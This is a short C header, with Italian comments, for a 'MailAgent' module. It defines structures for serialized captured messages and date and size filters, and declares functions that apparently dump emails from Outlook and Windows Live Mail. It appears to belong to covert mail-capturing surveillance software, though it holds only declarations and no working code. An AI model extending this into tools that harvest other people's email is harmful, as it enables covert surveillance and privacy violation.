HM_MailAgent/MailAgent.h
#define MAX_HEADER_SIZE (10*1024)
#define MAPI_V2_0_PROTO 2009070301
#pragma pack(4)
struct MailSerializedMessageHeader {
DWORD VersionFlags; // flags for parsing serialized message
#define MAIL_FULL_BODY 0x00000001 // Ha catturato tutta la mail
DWORD Flags; // message flags
DWORD Size; // message size
FILETIME date; // data di ricezione approssimativa del messaggio
};
#pragma pack()
typedef struct {
DWORD max_size;
FILETIME min_date;
FILETIME max_date;
WCHAR search_string[32]; // XXX Se rimetto le ricerche testuali posso pensare di ingrandirlo
} mail_filter_struct;
extern BOOL IsNewerDate(FILETIME *date, FILETIME *dead_line); // Dichiarata in HM_MailCap.h
extern int CmpWildW(WCHAR *, WCHAR *); // XXX Dichiarata in HM_ProcessMonitors.h
extern BOOL g_bMailForceExit; // Semaforo di uscita per il thread e tutte le sue funzioni
extern BOOL OL_DumpEmails(mail_filter_struct *mail_filter);
extern BOOL WLM_DumpEmails(mail_filter_struct *mail_filter);